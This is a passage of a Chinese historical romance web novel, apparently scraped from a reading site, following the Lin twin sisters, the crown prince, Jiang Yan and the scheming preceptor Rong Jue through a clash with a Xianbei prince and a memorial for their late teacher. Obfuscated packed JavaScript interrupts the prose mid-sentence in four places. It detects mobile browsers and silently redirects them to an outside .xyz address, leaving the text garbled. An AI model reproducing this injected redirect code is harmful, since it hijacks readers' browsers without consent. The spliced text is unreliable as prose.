闻言,江晏立马上前就想买下所有糖葫芦。林默言无奈道:“不用了,买这么多怎么能吃的完。” 于是江晏便只买了一串递给了她,笑道:“还生气吗?” “我什么时候说过我生气了?”林默言接过糖葫芦,故意把他甩在身后。江晏追赶几步与她同行,一直将她送到林府大门前。 “那么我先走了。再会,林大小姐。”江晏冲着她展颜一笑,随后离开了林府。 林默言关上林府大门,在门缝里偷偷看了一眼江晏离去的背影。不知为何,心中竟有一种奇怪的落寞感,看着手中圆滚滚的糖葫芦陷入沉思。 林默语听到动静知是姐姐回来了,走出来迎接,却发现姐姐在看着手中的糖葫芦发呆。 “姐姐?”林默语出声唤她,林默言才回过神来。 “是语儿啊。那个宴会你没去吗?”林默言还是有些禁不住好奇问道。 “嗯。”林默语淡淡的回答道。其实在经过一番思想斗争后,林默语最终还是去了。只是她到达时早已散场,人走茶凉。 “没关系,语儿随心便好。”林默言说道。 两人向着府内走去,一路上林默言依旧有点心不在焉。去拜见父亲后,两人回了自己的房间。 林默言看着手中的糖葫芦,最终也没有下口。天色已晚,吹灭蜡烛后躺在床上却依旧没有睡意,脑海里总是回想起今天发生的一切,那句“言笑晏晏”异常明晰。 第二日,林默言去找了秦初。昨日他走的匆忙,林默言担心又出了什么新的状况。见到秦初时,他正焦头烂额,一副愁眉苦脸的模样。 “你这是怎么了?昨夜走的那般匆忙,现在又是这种表情。出什么事了?”林默言问道。 秦初叹了口气,说道:“你还记得半个月前的官银一案吧。追回来的官银远远不够,其余的下落也无从下手。对于范崇的审问也无果,线索从此处断开了。我想不通,容玦是如何让这样一个贪生怕死之人闭上嘴的。这件案子绝对没有我们想的那么简单。” “这个容玦到底有什么本事,能让你和爹爹同时头疼不已。”林默言近期总是听到这个名字,此人竟能让父亲和秦初忌惮不已,她不禁对这个人有了几分好奇。 “此人绝非善茬,他的目的绝对不是壮大西启。若是再纵容他,朝中就要变天了。可惜父皇此时已被蒙蔽,难以看清时局。”秦初很是头疼,但他也对此束手无策。近年来,父皇过于信任宦官不说,现在又多了一个容玦。 “那件案子还有我能帮得上忙的吗?”林默言问道。 “不用,现在已无从下手。”秦初微微皱眉,接连几天的焦头烂额之下,他不禁都有一些怀疑自己。“我是不是很失败?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485246|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“何必妄自菲薄呢?太子殿下。”林默言笑道:“你的能力从来都是出类拔萃的,只是如今多事之秋难免有些疲乏。你不必怀疑自己,我从来都是相信你的,这次也一样。我相信你可以摆平,你不必把自己逼得这么紧。偶尔休息一下,也是好的。” “谢谢你啊,言儿。”秦初这才勉强笑了笑。 告别秦初后,林默言离开了太子殿,边走边出神的想着那件案子。今日她还约了语儿一起去围猎场练习射艺,在赶往围猎场的途中,突然间身后有一人抓住了她,林默言下意识以为又是江晏,正准备转身与他争执。一转头,看清来人后,却被震的不轻。 这个人……不是那日见到的鲜卑族王子拓跋宇么?他此时身在洛阳出现在这里不奇怪,只是他为何要来招惹自己?那日搭救江晏时林默言并没有在他面前露面,照理说不应该认出她才是。 不等林默言说话,拓跋宇却先开口了:“原来你在这里啊,小美人。何必如此躲着我呢?”他那独特的碧色眼眸中光华流转,饶有趣味的盯着林默言。“我已知道你的身份了,丞相之女,对吧?” “你……”林默言挣扎着甩开他的手,一时竟不知道该如何应对。 正当两人僵持时,半空中飞来一支簪子,险险擦过拓跋宇的手,顿时带起一片鲜血。 “放开我姐姐。”一旁传来了冷冷的说话声。林默言见到语儿,立马走向了她,将她护在身后。 拓跋宇却对流血的手置之不理,而是看着她们二人笑道:“相府二千金,果真是名不虚传。百闻不如一见呐。” “还请阁下自重,不要再说那些痴心妄想的话。”林默语站在姐姐身后,冷眼望向他。 她开口后,拓跋宇才分清之前他遇见的是哪个,笑道:“何来痴心妄想?我可是句句肺腑之言。边上这位就是你的姐姐吧?要不我连同她一起娶回漠北,也好给你解解闷。” 林默语的脸色愈发难看,林默言听到他说出如此大逆不道的话,冷笑道:“阁下此番来西启,是为和谈吧。即已知道我们的身份,还敢说出这样的话。传出去,恐怕于和谈不利吧。”她已经很努力的把话说的委婉些,没有对他大打出手。 “这些事情,轮不到你一个女儿家来操心吧。西启是没有男人了吗?”拓跋宇说道,说话间眼神还流连在她们二人之间。 林默言当即忍无可忍,此人目无礼法,什么话都敢说,林默言也不想和他白费口舌了。 “女子又如何?蛮夷之族,也无怪乎此了。” 顷刻间林默言便开始动手。林默语没想到姐姐会如此冲动,但她也早已积怨已久。她一个人打不过,现在姐姐也在可就不一定了。于是她没有劝阻姐姐,而是选择了加入。 刚开始,拓跋宇并不落于下风。但林家二姐妹的身手也不是吃素的,渐渐有些招架不住,双拳难敌四手。场面一度焦灼之际,一队人马的出现喝止了这场对局。 15. 第 15 章 “站在你面前的,是朝中重臣的女儿。阁下这样做,怕是不妥吧。”秦初开口,不怒自威。三人不禁停手回头看向他。林默言看出他此番是匆匆赶来,应该是刚从眼线那里得知消息。但他依旧异常沉稳,坐怀不乱。 “太子此话严重了。我不过是与她们二人玩耍切磋一番,何谈冒犯,又何来不妥呢?”拓跋宇轻描淡写的看向秦初,纵使有万般不服,他也要在这段时期维持着表面的和平。 秦初向前走了几步,站在默言默语身前,逼视着他道:“既是如此,言儿和语儿便不劳烦阁下照顾了。阁下请自便。” “太子先别急着走啊,我还有一问题甚是不解。你们汉人总爱讲究一些狗屁礼法繁文缛节,那么我请问,她们二人皆是未出阁的女子,难道与太子整日呆在一处密切往来就妥当了吗?”拓跋宇饶有趣味道。 秦初心中瞬间了然,恐怕是他已经盯上了林家二姐妹。正待开口时,一旁传来了一声轻蔑的笑。 “秦兄何必跟他废话呢?不过是白费口舌。要我说,与蛮夷之族相交,还是直接开打更合适些。我说的对吧,拓跋宇。”江晏从林中慢慢踱出,直呼其名。 “江晏?”拓跋宇看着他,变了脸色。 “若此时不在西启,你恐怕早已人头落地了。”江晏与拓跋宇曾在战场上交手过数次,最后一次交手是在两年前,他将鲜卑打的溃不成军,且一剑划过拓跋宇颈间,护住了黎国边疆。可没想到还是让他苟活了下来,带领残兵败将逃回了漠北。休养生息后,鲜卑族势力日益壮大,逐渐统一了漠北各组,鲜卑王成为他们共同的大单于。江晏只恨自己没能斩草除根才导致现今后患无穷。但如今身在西启,他不能对拓跋宇下手,否则会破坏黎国与西启两国之间的和谈。 “谁的人头落地还不一定呢。”拓跋宇对江晏亦有滔天的恨意,一时之间剑拔弩张。 “手下败将,倒是狂妄。”江晏不屑的看着他。 “何必动怒伤了和气?”秦初适时开口,来维持这表面的和平。“我先替江兄陪个不是了。拓跋兄莫要见怪。” “太子说的哪里话,怎么会呢?”拓跋宇假笑着接了这个台阶,说道:“只是现在看来,我好像入不到各位之中。既是如此,我便告辞了。”拓跋宇刚一说完就走了,懒得再说什么客套话。 秦初看着拓跋宇走远后,才转过身一脸担心的看向林家二姐妹,问道:“你们没事吧?对不起,我来的有点晚了。” 林默言注意到身边的语儿表情不是很自然,知道语儿或许不太想说话,于是抢先说道:“放心吧,我们没事。而且就算你们不来,我和语儿也可以凭本事拿下他。” 秦初笑了笑,还未说话,江晏插嘴道:“拓跋宇的身手不错,还是小心点为妙。此人很是难缠,若是真盯上你们可就麻烦了。” 看到江晏,林默言每次都忍不住想要呛他,说道:“还用你说?我自然会小心的。我还想问,怎么哪里都有你啊?” “我与江兄正商讨事务时得了萧肃的通报,于是便一起来了。”秦初说道。 “那也正好,我和语儿要一起去围猎场练习射艺,你们要来吗?”林默言问道。 秦初一直在小心观察着林默语的神情,尽管语儿的表情一直都是淡淡的,秦初也害怕她会因为自己而有一丝一毫的为难。于是便说道:“不用了,我和江兄还有要事相商,就不陪你们一起了。”末了还看着江晏说道:“对吧江兄?” 此话一出,瞬间把江晏那句马上呼之欲出的“好啊”堵回嘴边。他原本是想答应的,但没想到秦初竟一口回绝。江晏看了秦初一眼,瞬间明白了他为何要这样。于是江晏话锋一转,配合秦初道:“对,对。我和秦兄还有事务要处理,这次就不陪你们了。” “我让萧肃在围猎场指派了些守卫,可以保护你们的安全。你们自己也要多加小心些,莫要伤到自己。”秦初说道。 “我知道了,会注意的。那么回见了。”林默言冲他们二人一笑道。林默语虽没有说话,但也向秦初规规矩矩的行了一个礼,然后跟着姐姐一起走了。 “下次再约,我陪你一起!”江晏在原地冲着林默言喊道。林默言歪头对他眨眨眼,没有说话。江晏知道她这是默认了。 秦初看着江晏那副恋恋不舍的模样,笑道:“难为江兄了,陪我一起做戏。” 江晏摇摇头,不甚在乎的说道:“我倒是无妨。倒是秦兄你,何必呢?你不觉得现在这样很是别扭吗?” “我只是不想看到语儿有一丝一毫的为难,更不想让这份为难来源于我。至于其他的,来日方长吧。”秦初说道,眼底的落寞一闪而逝。 江晏闻言不禁有些感慨,拍了拍他的肩以示安慰。两人重新回到太子殿,再将各项事务重新核对了一遍。 拓跋宇回去之后,没想到竟等来了一位稀客。他与容玦已经很久没有碰面了,之前的官银一案容玦几乎没有露面。 “真是稀客啊,国师大人今日怎么有空来我这里?”拓跋宇笑道。却见容玦表情不对,甚至可以说是怒火中烧。 果然,容玦一开口就一改往日的作风。 “我不管你要做什么,哪怕你要把这个国家搅得天翻地覆也好,我只警告你一句。”往日里容玦在面对他时都是一副不卑不亢之态,从来没有过今日这般不择手段的疯狂模样,拓跋宇一时之间也被这样的他怔住了。 容玦逼近拓跋宇,只差揪住他的领子,怒目看着他,一字一顿道:“别碰林默言。” 拓跋宇愣了片刻,忽的笑了。从前他一直在想,这位国师大人为何要背叛自己的国家,国师所做的这一切到底是想要什么?金银财宝,权势地位之类的东西他都已经猜过了,而答案很明显不是这些。但只要是人,就注定不可能无欲无求。容玦本人对此问题的答复为“我想要的,是颠覆这个国家”,拓跋宇对此回答也是将信将疑。但从方才容玦说出那句话时起,拓跋宇好像知道他想要什么了。人果然不可能无欲无求。 “国师大人,我好像知道你想要什么了。”拓跋宇看着他笑道。 “我的事情你不必管。你只需记得,动她,你是不会有好下场的。”容玦依旧冷冷的看着他,仿佛下一秒就要将他撕碎。 “这个国师大人可以放心。”拓跋宇知道容玦对于他的作用还有很多,答复道:“比起林默言,我还是对她的妹妹更感兴趣些。”虽说他也起过“铜雀春深锁二乔”的心思,但既然容玦开口,便只能打消了这个想法。激怒容玦,对他来说没有好处。 容玦阴郁的眸子紧盯着他,说道:“除此之外,请便。”留下这几个字后,容玦利落的转身离开了。 如今乃多事之秋,再加上今日林家二姐妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485247|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的遭遇,秦初甚是担忧,加派了些人手暗自保护她们。过几日便是先生的祭日了,秦初加快处理了手头的事务,准备在几日后去祭拜他。 在告别秦初后,江晏立马前往围猎场去寻林默言。毫无意外的扑了个空,林家二姐妹早已打道回府了。此乃意料之中,江晏也不恼。就像秦初所说的那般,来日方长,机会总会有的。 几日后,到了先生的祭日。秦初一大早便去林家的墓地祭拜先生,他知道林默言或许更想一个人来此看看,就没有叫上林家二姐妹。 “先生在上,弟子秦初,敬奉先灵,感恩先辈之德。思念故人,音容宛在。愿先生安息,往生净土。” 秦初对着墓碑磕了几个头,在墓前跪着默哀半个时辰后,才离开了墓地。 今天是一个沉重的日子,林默言永远不会忘怀。她特意换了一身素雅的衣服,与平日里的穿衣打扮风格迥异。她前去买了一些纸钱和一坛酒,带着这些东西前往林家的墓地。 行进途中,竟碰到了江晏和一个陌生的男子在交谈些什么。只见江晏神情严肃,微皱着眉。 “此事先不急,为今之计,先要稳住……” “至于母妃那边,你先替我推脱一番,我暂时不能回去,我还要……” 林默言只隐隐听清了只言片语,不甚清楚。片刻后,那人离开了,留江晏一人在原地沉思。林默言心中突然有了一个很不好的猜想,江晏会不会做出什么对西启不利的事情?这种念头一闪而过,虽说在这段时日的相处之下可以看出江晏是一个真性情的人,但她还是很难不怀疑。想来想去还不如直接问的实在,林默言走上前拍了拍正在沉思的江晏。 江晏被林默言吓了一跳,在看清是她后,又立马换了一副表情。其实江晏一直都有些想不通,自己一个长年习武耳聪目明的人为何总是察觉不到她的到来?距他的观察,林默言的身手应当还达不到那种程度。又或者,是她在隐藏着真正的实力。 “刚才那个人是谁?你们在说些什么?”林默言直截了当的问道。 “他是我的贴身侍卫陆辞,匆忙赶来西启是为了告知我一件重要的事务。”江晏十分坦荡的回答。今日的林默言不同于往日明艳的打扮,而是穿着素雅,表情也很是严肃。江晏一时还有点不习惯,甚至怀疑眼前之人会不会是林默语。见她神情依旧肃然,江晏继续说道:“你不相信吗?看你的表情,你不会以为我在密谋什么对西启不利的事情吧?这个你尽可放心,我可不会做那么无聊又费力的事。”看着林默言时,江晏心中的烦躁少了几分。 “最好是这样。”林默言说着就准备往山上继续走。江晏拦住了她,指着她手中拿着的一堆东西问道:“你这是?” “去墓地。”从见面起,林默言就一直是这种不冷不热的态度,这与江晏之前见到的林默言反差甚大。也是在这时,江晏才深切体会到,林家二姐妹是真的像到了骨子里。从前他辨认林家二姐妹是依靠她们的言行举止,但当林默言也冷下脸时,就真的难以分辨了。 听到她说去墓地,江晏想起秦初前几日提过的他幼时教书先生的祭日,猜想着林默言祭拜的或许也是这位先生,于是说道:“山上危险,我陪你一起去吧。” “这座山我走了十几年,有什么好危险的?”林默言绕开他向山上走去,不过他也没有阻止江晏跟上来。 16. 第 16 章 以往两人在一处时总是唇枪舌剑,免不了吵架拌嘴几句。但今日却分外不同,这一路上都相对无言。江晏原本想没话找话几句,但看着林默言庄重严肃的神情,还是在此刻很识趣的闭了嘴。 走了许久,终于到了地方,江晏看到了许多排墓碑。离他们最近的一个墓碑上,刻着“贤妻顾芸之墓”江晏心中了然,这是林默言母亲的墓,丞相夫人早在十多年前就已经去世了,丞相也再未续弦。 “那个,是我的母亲。”林默言注意到江晏的目光,对他说道。 江晏看到这个墓碑旁还空着一个位置,空着的位置前的墓碑上刻着“德隆望尊,桃李天下”。 “那里为何会有一个空位?”江晏问道。 “爹爹说,那个位置是留给他的。”林默言顿了顿,继续说道:“刻着‘德隆望尊,桃李天下’的那个,是我幼时的教书先生。按照规定,他本不应该葬在这里。但他与爹爹情同手足,我们为他破了这个例。今天,是他的祭日。” “对不起,提起了你的伤心事。”江晏有些歉疚的看向她。 林默言摇了摇头,说道:“过了这么多年,已经算不得伤心事了。”江晏看着她,突然间有些心疼。他在平日里仅仅看到了她乐观开朗的一面,却不了解她背后深沉的过往。 林默言拿起扫把仔细的清扫着落叶,江晏想要帮忙,却被林默言给拦住了。 “林家人的墓地当然要由林家人来扫。” 江晏只得作罢,静默的看着她仔仔细细的扫过每一个角落。扫完之后,林默言拿出一坛酒放在母亲墓前,再拿出一壶泡好的茶放在先生墓前。先生素来不喜欢喝酒,所以她每年都会泡一壶先生最喜欢的茶。 林默言各点燃三炷香插在先生和母亲墓前,跪下开始烧纸钱,江晏也和她一起跪下。 虽说已经过去许多年,林默言也从一个懵懂无知的小女孩变成了亭亭玉立的少女。但无论历经多少时光,林默言每次跪在这里,都会有难以言喻的悲痛。 “先生,言儿又来看望您了。言儿顽劣,可能又扰了您的清净吧……不过您放心,言儿现在已经长大了,不会再让您那么不省心了……”林默言轻声说着。 江晏看着满是悲痛的她,很想给予一丝安慰。但他并不了解这段过往,不知从何开口。 林默言跪了许久,江晏也陪她一起跪着。就这样一直静默着,以表对逝者的哀悼,两人都没有再开口。 过了许久,林默言站起身,由于跪的太久腿有些发麻,步伐也有几分不稳。江晏在她身后小心点跟着,两人一起走下山去。 一路上,林默言都在出神的想着什么,江晏突然轻轻拥住了她。林默言微微错愕,却也没有挣扎。不知为何也本不想挣开他的怀抱。 “逝者已矣,还需节哀。我想你的先生和母亲应当和我一样,更喜欢看你笑吧。所以,不要伤心了好吗?”江晏轻轻拍了拍林默言的背。他并不了解这段过往,也并不擅长安慰人。但在看到林默言伤心时,突然就很想抱抱她。 “嗯,我知道。”林默言在他的肩上靠了一会儿。江晏虽然平时看起来放荡不羁,但真到了这个时候却显得有些手足无措。 片刻后,林默言放开了江晏,江晏略显笨拙的安慰令她心中好受了几分,笑道:“其实过去这么久,我真的已经释怀了。只是在悼念逝者时,总是要肃静一些。” 江晏也不知道她这句话几分真几分假,但看到她的笑,江晏也安心了几分。 林默言告别了江晏,每年的今天她都要去私塾待一天,今年也不能例外。 先生原本是翰林院里德高望重的学士,也负责教□□家子弟。后来因为种种原因退出了朝堂,在林瞻远的支持下开了一家私塾,教一些无法入国子监就读的女子和贫寒子弟读书识字,担得起“桃李满天下”之称,更担得起“风骨”二字。 再次推开私塾的大门,看着熟悉的院落,林默言的耳边似乎又响起了先生的声音。 “知之为知之,不知为不知,是知也。言儿,知道这是什么意思吗?” “什么知来知去的?言儿不想知道。” …… 阵阵回声不绝于耳,再回首时,那已经是很久远的过去了。不知不觉间,早已泪眼模糊。 “先生,我好想你能再教我一遍,我一定会认真听的……” 临近正午,江晏又在街上看到了那个熟悉的身影,她的手里提着一些纸钱。江晏心中不禁纳闷,不是说要回去吗?难道要再去祭拜一次?江晏一边想着,上前叫住了她。 “林默言?你又要上山吗?”江晏问道。 “你认错人了。”林默语一脸淡然的看向他。 江晏看着她的美人痣有些错愕,随后才想起分辨她们不能仅靠美人痣,因为林默语常常也会点痣,这是秦初告诉他的。这么久以来江晏分辨她们大多是靠神情,可一贯冷漠的林默语也会笑颜如画,开朗爱笑的林默言也会有冷若冰霜的时候。 江晏微微有点郁闷,说道:“抱歉,我认错了。你也是要去祭拜先生吗?” “嗯。”林默语言简意赅的回答。 “那我能不能问问你关于那位先生的事?她很伤心,我想安慰她,却无从下手。如果有什么不能说的话就不必勉强。”江晏说道。 林默语略加思索片刻,说道:“其实这也不是什么不能说的事情。想知道的话,随我来吧。”两人寻了一处地方坐下,林默语向他缓缓道出了十几年前的故事。 那位教书先生是林瞻远的挚友,林瞻远出生于书香门第,而他却是贫寒子弟。两人虽家世相差甚远,却很是投机,交好多年。他们一同考科举,一同入朝堂。历经种种变故之后,林瞻远最终选择了入朝为官扎根朝堂,而他却再无心于朝堂斗争只想过平淡的生活,选择开一家私塾传道受业,也算是不枉此生所学。有很多人曾猜测过他退出朝堂的原因,最广泛的说法是政见不合抱负无从施展。但这仅仅只是原因之一,更主要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485248|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是他那一日不如一日的身体状况。 在默言默语到了年龄后,林瞻远将她们送入私塾就读,教书先生很是疼爱她们。在林默语的印象中,爹爹大多数时间都很忙,所以那段时期大多时间都是先生在陪着她们。 林默言自幼就不喜欢纲常伦理之乎者也,当时必学的四书五经及一系列书籍令她头疼不已。起初林默言还能硬着头皮去听,到后来实在受不了就选择逃课。最终的结果往往都是被先生抓住,然后罚她抄写文章,有时先生生气了还会报告给林瞻远。 但哪怕是这样,林默言也要时不时的逃上一两节课,也会偶尔在先生的课上捣乱,在先生的茶里偷偷加一些辣椒。尽管这样,林默语心里却很清楚,其实姐姐心底是非常喜欢先生的,真心实意的把先生当做家人一样看待。姐姐会在先生心情不好的时候去逗他开心,有什么好东西也一定会想着先生,在逢年过节不上课时怕先生孤单会去陪他,嘴里也时常会念叨着先生。 一日,在将林默言送回林府后,先生看着呼呼大睡的她叹了口气,对林瞻远说道:“我这身子已是风中残烛,不知还能撑到何时。” “慕瑜兄休要胡言,会好起来的。”林瞻远说道。 白慕瑜轻笑,说道:“瞻远,我的身体状况你也是清楚的,不必再安慰我了。” 林瞻远心中微颤,垂首不语。他自然是清楚的。这么多年以来他也想了许多法子,但都没有实质性的好转。到了如今,已是回天乏术了。林瞻远心中很清楚这些,却也不愿面对随时可能到来的与至交好友的生离死别。 “不必介怀,人固有一死。”白慕瑜反过来安慰他道:“我如今不过是一个孤家寡人,也没有什么牵挂,唯一放心不下的就是我的那些学生们。” “以及……我担心言儿会想不开……”白慕瑜看向林默言,继续说道:“这几日我咳的越发厉害,言儿来问时我只告诉她是得了一些风寒。我怕她知道真相后,会接受不了。” 林瞻远叹了口气,说道:“言儿虽看着心大,却也和她娘一般是个极其执拗的性子,极重感情。先前没有告知于她,若事发突然,她必然是接受不了的。所以慕瑜,哪怕是为了言儿,你也要多坚持一些。” 白慕瑜知道他还不死心,想要继续找方法医治,不忍回绝他,说道:“嗯,我会的。” 看着桌上的酒,他突然起了兴致,想要与林瞻远对饮一杯。他们二人素来都不是很喜欢饮酒,所以一起喝酒的次数少之又少。感觉到人之将死,他想再抓紧机会与挚友对饮一次。 白慕瑜拿起酒,林瞻远正想劝说,他却回绝道:“我只怕,以后再没有这样的机会了。”林瞻远闻言便也放下了劝阻的手,拿起酒杯与他相碰。烈酒入喉,异常辛辣。一切仿佛又回到了他们初遇时鲜衣怒马的少年时光。 林瞻远担心他的身体,最终也没有让他多喝。在离开时,白慕瑜再次看了看熟睡的默言默语,看了看自己的至交好友。却不曾想,这会是最后一眼。 17. 第 17 章 第二天,林默言如以往那般逃课,坐在一颗大树上等着先生如以往那般抱她回去。可是她等了很久很久,甚至在大树上睡了一觉,还是没有等到先生来。 “先生怎么还不来?不会把我忘了吧?”林默言有点小生气,自己跳下树打算回去自投罗网。回到学堂后却发现里面一片混乱,先生不知去了何处,语儿也不在。同窗们都在窃窃私语,慌乱异常。林默言的心中瞬间涌起了一种不祥的预感。 “先生呢?”林默言十分慌乱的拉住一位同窗问道。 那位同窗告诉她道:“先生今日刚进来还没有讲话就突然晕了过去,默语叫人把先生抬去了林家。现在已经过去好几个时辰了,我们也不知道先生现在状况如何。” 此话一出,林默言瞬间浑身瘫软,随即发疯似的跑了出去。其实早在几个月前林默言就已经看出了先生身体抱恙,但先生却一直告诉她说只是得了一些风寒。于是林默言便每日监督先生吃药,可先生口中的一点小风寒却一直不见好转。 林默言拼命的跑回林府,冲进林府大门后却只见小声哀叹的下人和跪在地上泣不成声的语儿。林默言拉住语儿问道:“语儿,先生呢?”林默语却泪流满面,哽咽着说不出一个字。 林默言的心瞬间如万剑穿过,沉痛到无法呼吸。心中不好的预感愈发强烈,还未等她再开口,泪水却已先夺眶而出。但她不愿意相信那种最坏的结果,抓住下人又开始问。下人看着林默言,低着头不敢说话。 最终,她在医官的口中得到了冰冷的五个字:“先生已病逝。” “不可能,我不相信!你们骗我!”林默言大哭着就要冲进房间。 “大小姐,逝者已矣,还请节哀!”医官慌忙的拦住了她,说道:“我们正在为先生整理遗容,还请您先不要进去。” “我不相信!”林默言拼命挣扎着推开医官。 “言儿,莫要胡闹。”林瞻远得知消息,匆匆从朝中赶了回来,此刻的他亦是肝胆俱裂。林默言听到爹爹的声音,此刻却也无暇去管别的,继续挣扎着向前。哪怕是林瞻远来抱她,也没能将她拦住。 林默言推开人群冲了进去,看到的只有躺在地上一动不动,嘴角还挂着血迹的先生。林默言扑了过去跪在先生身旁,拼命地推着他的身体,泪水模糊了视线,哭喊着的嗓音也越发嘶哑。可回应她的只有先生越发僵硬的尸体和愈加冰冷的体温。 “先生,言儿再也不调皮了,再也不逃课了,您睁眼看看我好不好?” “言儿知错了,言儿以后一定好好学习功课……” 可不管她再怎样推先生,不管她说什么话,先生从今往后都不会再起来了。 夜晚,林默言穿着孝服跪在灵堂前,哑着嗓子对静静躺在棺椁之中的先生说道:“先生,您叫言儿背的东西言儿都已经背下来了。我背给您听。仁人之所以为事者,必兴天下之利,除去天下之害,以此为……” 林默语走进灵堂中想要拉她起来,林默言却纹丝不动。 “姐姐,你已经跪了一天了,快起来吧。”林默语的双眼亦是通红着。 林默言没有理她,踉跄着跑去拿来纸和笔继续跪在灵堂。“我今天逃课了,逃课是要罚抄的。我要赶紧抄完,不然先生会生气的。”林默言抹了一把泪笑着说道。 林默语抓住了她写字的手,这才察觉到她一直都在微微发抖,但那只颤抖的手却强硬的挣开她继续写字。 看着这样的姐姐,林默语心如刀绞,抱住姐姐说道:“姐姐,你不要再写了,停下来休息一下吧。就算你再写一千遍,一万遍,把四书五经全部背过去,先生也不会再回来了!” 林默言终于停了手,眼泪却如断弦的珠子般难以控制。 “语儿,都是我不好。”林默言泣不成声的说道:“我不应该气先生的……” 这是林默言第一次经历生离死别,这种滋味,怎么形容都不为过。林默语亦是如此,她甚至不知道该怎样安慰姐姐,她自己也无法走出悲痛的情绪。 林默言抱着语儿放声痛哭,过了许久才渐渐平静下来。片刻后,林默言带着语儿回房休息。 第二日,当林默语猛然惊醒时身旁不知何时早已没有了姐姐的身影。林默语担心姐姐出事,慌乱的起身冲出房门前去寻找姐姐。 灵堂内,林默言蜷缩着小小的身体靠在先生的棺椁旁,睡了整整一夜。 “姐姐这个人虽然平时看起来大大咧咧,不拘小节,但其实她这个人比谁都要重感情。先生去世后的那段时间,她在先生的坟前跪了几个月。一直到现在,先生的死也是姐姐心中无法抹去的痛。”林默语对江晏说道。 听完了这段往事,江晏的心中也不禁多了几分感伤。人世间最痛苦的,莫过于生离死别。可逝者又怎会因生者的悲痛而还魂? “我知道了,谢谢你告诉我这么多。我会想办法去安慰默言的。”江晏说道。 “其实过了这么多年,很多情绪都已随着时间消磨淡化。可有些东西是永远无法释怀的,唯有在积年累月的痛苦中慢慢习惯。”林默语意味深长的说道。 “我明白。但有一句话叫做‘往者不可谏,来者犹可追’,先生也一定教过你们的,不是吗?”江晏冲她莞尔一笑。“不管怎样,人都不应该太过沉溺于过往之中。” “那便随你吧。我还要祭拜先生,先走了。”林默语说完便离开了。 江晏前去林府寻找林默言,打算带她去围猎场散散心,顺便履行一起射箭的承诺。到达林府后,却被告知林默言自从早上出去后就一直没回来。江晏便去自己能想到的所有地方去找她。 林默言抱着几坛酒坐在私塾的学堂前。正值秋季,院中的桂花已开始绽放,传来隐隐的芳香,久久不散。她原本以为自己早就释怀了,可每每到了今日,看着此情此景,还是会有一些物是人非的感伤。 “为何一人在此喝闷酒?”容玦不动声色的坐在了她的旁边。 “又是你啊。”林默言看了一眼这个神出鬼没的人,转过头继续喝酒。她现在没什么说话的心思,便任由他坐在了旁边。容玦也没有再说话,只是静静的看着她。 “你说,他会原谅我吗?”鬼使神差的,林默言突然问出了这样一句话。问完后自嘲的笑了笑,一个陌生人,又能知道些什么呢? “或许,他从未怪过你,又谈何原谅呢?”容玦淡淡一笑,声音低沉。 林默言抱着酒坛,第一次认认真真的审视这个人。容玦依旧目不转睛的看着她。其实林默言经常会被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485249|154528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人这样盯着看,因为她的容貌和气质出众,再加上“西启第一美人”的加持,见到她的人都忍不住想要多看她几眼,林默言也早已习惯了被人这样盯着看。但不知为何,林默言总觉得这个徐衍的目光尤为炙热,总会令她有些不自在。 “为何要一直盯着我看?”林默言说话从不拐弯抹角。 “你很美,很像我的一位故人。”容玦依旧没有收敛目光,看着眼前这张倾国倾城的面容,他的脑海里不禁回想起多年前他身处绝境时遇到的那个将他拉回人间的姑娘。那时的她就如同启明星一般现世,来到了他的身旁,救他于水火。如今过了十多年,终于再次见到了她,她依旧如当年那般明媚动人,像一道遥不可及的光。一直身处黑暗的人,也会渴望拥有光亮。 林默言没再说话。所有人都告诉她说她很美,也因为美的缘故她的身边从不缺乏追求者。可那些口口声声说要爱她一辈子的王公贵族和世家子弟们却连默言默语都分不清楚。渐渐地,林默言也就厌倦了这种目光。 两人相对无言的坐了一会儿,林默言扔给了他一坛酒说道:“陪我喝点吧。” 空气中弥漫着一股似桂花又不似桂花的淡雅香味,甚是浓郁。容玦伸手拿过那坛酒,打开喝了几口,听着林默言对他说道:“徐衍,你说人死后会不会真的有灵魂存于人世?” 